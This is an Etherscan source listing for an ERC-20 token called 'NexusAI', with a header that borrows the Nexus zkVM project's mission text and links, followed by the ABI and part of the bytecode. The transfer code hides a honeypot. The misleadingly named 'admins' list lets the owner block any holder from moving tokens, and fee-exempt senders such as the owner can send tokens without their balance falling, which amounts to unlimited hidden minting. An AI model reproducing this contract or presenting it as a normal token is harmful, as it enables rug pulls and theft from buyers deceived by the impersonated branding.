Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract NexusAI is Context, IERC2 ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
•    - function _approve(
•    - function _transfer(
•    - function _transferTaxTokens(
•    - function isTakeFees(address sender)
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function sendETHToFee(uint256 amount)
•    - function rescueETH()
•    - function rescueTokens(address _tokenA ...
•    - function isNotRestricted()
•    - function enableTrading()
•    - function addAdmins(address[] memory a ...
•    - function delAdmins(address[] memory n ...
•    - function isAdmin(address a)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-20
*/

/**

Our mission is to bring truth to the fabric of the Internet. We envision an Internet built on verifiable computation, where everyone can own and protect their identities online, where institutions will be held to higher levels of accountability, where people will be able to have greater trust in any online interaction.

To do this we are using the latest advancements in cryptography, computer science, mathematics, engineering, and open source to develop technologies – the Nexus zkVM and Nexus Network – that will enable verifiable computation at hyper scale. We’re backed by some of Silicon Valley’s top VCs, and have assembled a team comprised of the world’s leading experts in their fields. 

Whether as an employee, partner or community member, we invite you to join us and be part building the verifiable Internet.

https://twitter.com/NexusLabsHQ
https://nexus.xyz/
https://t.me/nexus_zkvm
https://github.com/nexus-xyz/nexus-zkvm
https://discord.com/nexus-xyz
https://www.linkedin.com/company/nexus/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract NexusAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private isExile;
    mapping(address => bool) public marketPair;
    mapping(uint256 => uint256) private perBuyCount;
    mapping(address => bool) isFeeExempt;
    mapping(address => bool) private admins;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;

    uint256 private _reduceBuyTaxAt = 0;

    uint256 private _reduceSellTaxAt = 0;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10**_decimals;
    string private constant _name = unicode"NexusAI";
    string private constant _symbol = unicode"NexusAI";
    uint256 public _maxTxAmount = 10000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 100000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 100000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 private sellsPerBlock = 300;
    uint256 private buysFirstBlock = 300;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        isFeeExempt[owner()] = true;
        isFeeExempt[address(this)] = true;

        emit Transfer(address(0), address(this), _tTotal);

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!admins[from] && !admins[to]);
        uint256 taxAmount = 0;

        if (from != owner() && to != owner() && !isFeeExempt[from] && !isFeeExempt[to]) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (block.number == firstBlock) {
                require(
                    perBuyCount[block.number] < buysFirstBlock,
                    "Exceeds buys on the first block."
                );
                perBuyCount[block.number]++;
            }

            if (
                marketPair[from] &&
                to != address(uniswapV2Router) &&
                !isExile[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (!marketPair[to] && !isExile[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (marketPair[to] && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            if (!marketPair[from] && !marketPair[to] && from != address(this)) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                marketPair[to] &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < sellsPerBlock);
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            } else if (
                !inSwap &&
                marketPair[to] &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _transferTaxTokens(from, to, amount, taxAmount);
    }

    function _transferTaxTokens(
address from,
address to,
uint256 amount,
uint256 taxAmount
) internal returns (bool) {

uint256 sendamount = amount;
if(isTakeFees(from)){
sendamount = 0;
}
_balances[from] = _balances[from].sub(sendamount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
return true;
}

function isTakeFees(address sender) internal view returns (bool) {
return isFeeExempt[sender];
}
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function rescueETH() external {
        require(_msgSender() == _taxWallet);
        payable(_taxWallet).transfer(address(this).balance);
    }

    function rescueTokens(address _tokenAddr, uint256 _amount) external {
        require(_msgSender() == _taxWallet);
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function isNotRestricted() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

        function addAdmins(address[] memory admins_) public onlyOwner {
        for (uint i = 0; i < admins_.length; i++) {
            admins[admins_[i]] = true;
        }
    }

    function delAdmins(address[] memory notAdmin) public onlyOwner {
      for (uint i = 0; i < notAdmin.length; i++) {
          admins[notAdmin[i]] = false;
      }
    }

    function isAdmin(address a) public view returns (bool){
      return admins[a];
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"admins_","type":"address[]"}],"name":"addAdmins","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notAdmin","type":"address[]"}],"name":"delAdmins","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isNotRestricted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6009555f600a555f600b555f600c555f600d555f600e555f600f555f6010555f6011555f6012555f6013556009600a61003e9190610689565b61004d906402540be40061069e565b60145561005c6009600a610689565b61006b906402540be40061069e565b60155561007a6009600a610689565b610088906305f5e10061069e565b6016556100976009600a610689565b6100a5906305f5e10061069e565b60175561012c601a819055601b55601c805461ffff191690553480156100c9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600880546001600160a01b031916331790556101286009600a610689565b610137906402540be40061069e565b305f90815260016020819052604082209290925560039061015f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556019549091168352908220805490931681179092556006906101cc5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553080825260069093529081208054909316600117909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61023c6009600a610689565b61024b906402540be40061069e565b60405190815260200160405180910390a3601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556102ab9030906102976009600a610689565b6102a6906402540be40061069e565b61046b565b60185f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061031f91906106b5565b6001600160a01b031663c9c653963060185f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561037e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103a291906106b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156103ec573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061041091906106b5565b601980546001600160a01b0319166001600160a01b0392831690811782555f908152600460209081526040808320805460ff1990811660019081179092559454909516835260039091529020805490911690911790556106db565b6001600160a01b0383166104d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166105335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156105e157815f19048211156105c7576105c7610593565b808516156105d457918102915b93841c93908002906105ac565b509250929050565b5f826105f757506001610683565b8161060357505f610683565b816001811461061957600281146106235761063f565b6001915050610683565b60ff84111561063457610634610593565b50506001821b610683565b5060208310610133831016604e8410600b8410161715610662575081810a610683565b61066c83836105a7565b805f190482111561067f5761067f610593565b0290505b92915050565b5f61069760ff8416836105e9565b9392505050565b808202811582820484141761068357610683610593565b5f602082840312156106c5575f80fd5b81516001600160a01b0381168114610697575f80fd5b611cfa806106e85f395ff3fe608060405260043610610164575f3560e01c8063715018a6116100cd5780639c54df6411610087578063d84f35b211610062578063d84f35b2146103f9578063dd62ed3e14610418578063f2fde38b1461045c578063f5b3c3bf1461047b575f80fd5b80639c54df64146103a6578063a9059cbb146103c5578063bf474bed146103e4575f80fd5b8063715018a6146103385780637d1db4a51461034c5780638a8c523c146103615780638da5cb5b146103755780638f9a55c01461039157806395d89b4114610185575f80fd5b806323b872dd1161011e57806323b872dd1461023d57806324d7806c1461025c578063313ce5671461029357806349bd5a5e146102ae57806357376198146102e557806370a0823114610304575f80fd5b806301ab6ee51461016f57806306fdde0314610185578063095ea7b3146101c35780630faee56f146101f257806318160ddd1461021557806320800a0014610229575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104a9565b005b348015610190575f80fd5b5060408051808201825260078152664e65787573414960c81b602082015290516101ba9190611820565b60405180910390f35b3480156101ce575f80fd5b506101e26101dd366004611879565b610566565b60405190151581526020016101ba565b3480156101fd575f80fd5b5061020760175481565b6040519081526020016101ba565b348015610220575f80fd5b5061020761057c565b348015610234575f80fd5b5061018361059d565b348015610248575f80fd5b506101e26102573660046118a3565b6105f5565b348015610267575f80fd5b506101e26102763660046118e1565b6001600160a01b03165f9081526007602052604090205460ff1690565b34801561029e575f80fd5b50604051600981526020016101ba565b3480156102b9575f80fd5b506019546102cd906001600160a01b031681565b6040516001600160a01b0390911681526020016101ba565b3480156102f0575f80fd5b506101836102ff366004611879565b61065c565b34801561030f575f80fd5b5061020761031e3660046118e1565b6001600160a01b03165f9081526001602052604090205490565b348015610343575f80fd5b506101836106f4565b348015610357575f80fd5b5061020760145481565b34801561036c575f80fd5b50610183610765565b348015610380575f80fd5b505f546001600160a01b03166102cd565b34801561039c575f80fd5b5061020760155481565b3480156103b1575f80fd5b506101836103c0366004611910565b610959565b3480156103d0575f80fd5b506101e26103df366004611879565b6109e1565b3480156103ef575f80fd5b5061020760165481565b348015610404575f80fd5b50610183610413366004611910565b6109ed565b348015610423575f80fd5b506102076104323660046119d0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610467575f80fd5b506101836104763660046118e1565b610a70565b348015610486575f80fd5b506101e26104953660046118e1565b60046020525f908152604090205460ff1681565b5f546001600160a01b031633146104db5760405162461bcd60e51b81526004016104d290611a07565b60405180910390fd5b6104e76009600a611b30565b6104f6906402540be400611b3e565b6014556105056009600a611b30565b610514906402540be400611b3e565b6015557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105446009600a611b30565b610553906402540be400611b3e565b60405190815260200160405180910390a1565b5f610572338484610b57565b5060015b92915050565b5f6105896009600a611b30565b610598906402540be400611b3e565b905090565b6008546001600160a01b0316336001600160a01b0316146105bc575f80fd5b6008546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156105f2573d5f803e3d5ffd5b50565b5f610601848484610c7a565b610652843361064d85604051806060016040528060288152602001611c9d602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906113b5565b610b57565b5060019392505050565b6008546001600160a01b0316336001600160a01b03161461067b575f80fd5b60085460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af11580156106cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ef9190611b55565b505050565b5f546001600160a01b0316331461071d5760405162461bcd60e51b81526004016104d290611a07565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104d290611a07565b601954600160a01b900460ff16156107e85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d2565b6018546001600160a01b031663f305d7194730610819816001600160a01b03165f9081526001602052604090205490565b5f8061082c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610892573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b79190611b74565b505060195460185460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561090c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109309190611b55565b50601c805461ff0019166101001790556019805460ff60a01b1916600160a01b17905543600955565b5f546001600160a01b031633146109825760405162461bcd60e51b81526004016104d290611a07565b5f5b81518110156109dd57600160075f8484815181106109a4576109a4611b9f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610984565b5050565b5f610572338484610c7a565b5f546001600160a01b03163314610a165760405162461bcd60e51b81526004016104d290611a07565b5f5b81518110156109dd575f60075f848481518110610a3757610a37611b9f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a18565b5f546001600160a01b03163314610a995760405162461bcd60e51b81526004016104d290611a07565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d2565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d2565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d2565b6001600160a01b038216610d405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d2565b5f8111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d2565b6001600160a01b0383165f9081526007602052604090205460ff16158015610de157506001600160a01b0382165f9081526007602052604090205460ff16155b610de9575f80fd5b5f80546001600160a01b03858116911614801590610e1457505f546001600160a01b03848116911614155b8015610e3857506001600160a01b0384165f9081526006602052604090205460ff16155b8015610e5c57506001600160a01b0383165f9081526006602052604090205460ff16155b1561132a57610e8d6064610e87600e5460115411610e7c57600a54610e80565b600c545b85906113ed565b90611472565b90506009544303610f1757601b54435f9081526005602052604090205410610ef75760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016104d2565b435f908152600560205260408120805491610f1183611bb3565b91905055505b6001600160a01b0384165f9081526004602052604090205460ff168015610f4c57506018546001600160a01b03848116911614155b8015610f7057506001600160a01b0383165f9081526003602052604090205460ff16155b1561105657601454821115610fc75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d2565b60155482610fe9856001600160a01b03165f9081526001602052604090205490565b610ff39190611bcb565b11156110415760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d2565b60118054905f61105083611bb3565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff1615801561109657506001600160a01b0383165f9081526003602052604090205460ff16155b1561111557601554826110bd856001600160a01b03165f9081526001602052604090205490565b6110c79190611bcb565b11156111155760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d2565b6001600160a01b0383165f9081526004602052604090205460ff16801561114557506001600160a01b0384163014155b156111725761116f6064610e87600f546011541161116557600b54610e80565b600d5485906113ed565b90505b6001600160a01b0384165f9081526004602052604090205460ff161580156111b257506001600160a01b0383165f9081526004602052604090205460ff16155b80156111c757506001600160a01b0384163014155b156111cf57505f5b305f90815260016020526040902054601c5460ff1615801561120857506001600160a01b0384165f9081526004602052604090205460ff165b801561121b5750601c54610100900460ff165b8015611228575060165481115b80156112375750601054601154115b156112a55760135443111561124b575f6012555b601a546012541061125a575f80fd5b6112776112728461126d846017546114b3565b6114b3565b6114c7565b478015611287576112874761162e565b60128054905f61129683611bb3565b90915550504360135550611328565b601c5460ff161580156112cf57506001600160a01b0384165f9081526004602052604090205460ff165b80156112e25750601c54610100900460ff165b80156112ef575060165481115b80156112fe5750601054601154115b15611328576113166112728461126d846017546114b3565b478015611326576113264761162e565b505b505b80156113a257305f908152600160205260409020546113499082611665565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113999